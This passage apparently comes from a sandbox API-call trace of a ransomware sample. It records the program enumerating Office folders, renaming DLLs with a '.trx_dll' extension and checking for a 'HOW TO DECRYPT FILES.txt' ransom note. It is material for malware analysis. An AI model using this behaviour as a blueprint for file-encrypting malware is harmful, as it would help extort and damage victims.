Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.247] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.247] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.247] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.247] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="MSOINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" [0092.247] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.247] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned="MSOINTL.DLL.trx_dll" [0092.247] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.247] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.247] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.247] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.247] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="MSOINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" [0092.248] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.248] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned="MSOINTL.REST.trx_dll" [0092.248] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.248] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.248] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.248] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.248] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="OMSINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" [0092.248] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.248] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned="OMSINTL.DLL.trx_dll" [0092.248] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.248] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.249] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.249] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.249] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="ONINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" [0092.249] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.249] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned="ONINTL.DLL.trx_dll" [0092.249] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.249] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.249] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.249] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.249] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="ONINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" [0092.250] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.250] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned="ONINTL.REST.trx_dll" [0092.250] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.250] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.250] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.250] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.250] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="OUTLLIBR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" [0092.250] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.250] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned="OUTLLIBR.DLL.trx_dll" [0092.250] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.250] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.251] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.251] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll") returned="OUTLLIBR.REST.trx_dll" [0092.251] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.251] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.251] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.252] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll") returned="OUTLWVW.DLL.trx_dll" [0092.252] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.252] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.252] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.252] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll") returned="PPINTL.DLL.trx_dll" [0092.252] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.252] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.252] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.252] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll") returned="PPINTL.REST.trx_dll" [0092.252] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.252] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.253] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.253] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll") returned="PUB6INTL.DLL.trx_dll" [0092.253] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.253] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.253] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.253] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll") returned="PUB6INTL.REST.trx_dll" [0092.253] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.253] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.254] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.254] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll") returned="PUBWZINT.REST.trx_dll" [0092.254] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.254] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.254] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.254] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll") returned="SGRES.DLL.trx_dll" [0092.254] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.254] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.254] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.254] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll") returned="STINTL.DLL.trx_dll" [0092.254] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.255] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.255] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.255] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll") returned="VISBRRES.DLL.trx_dll" [0092.255] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.255] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.255] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.276] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll") returned="VISINTL.DLL.trx_dll" [0092.276] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.277] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.277] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.277] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll") returned="WWINTL.DLL.trx_dll" [0092.277] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.277] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.277] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.277] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll") returned="WWINTL.REST.trx_dll" [0092.277] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.278] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.278] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.278] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll") returned="XLINTL32.DLL.trx_dll" [0092.278] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.278] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.278] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.278] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll") returned="XLINTL32.REST.trx_dll" [0092.278] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.279] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.279] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.279] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.283] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.283] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.283] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x212700, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x212700, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490055, dwReserved1=0x610043, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.284] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*.*") returned="*.*" [0092.284] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17a180, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x17a180, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.284] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.284] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*.*") returned="*.*" [0092.284] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" [0092.284] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="" [0092.285] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.285] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.285] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.285] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 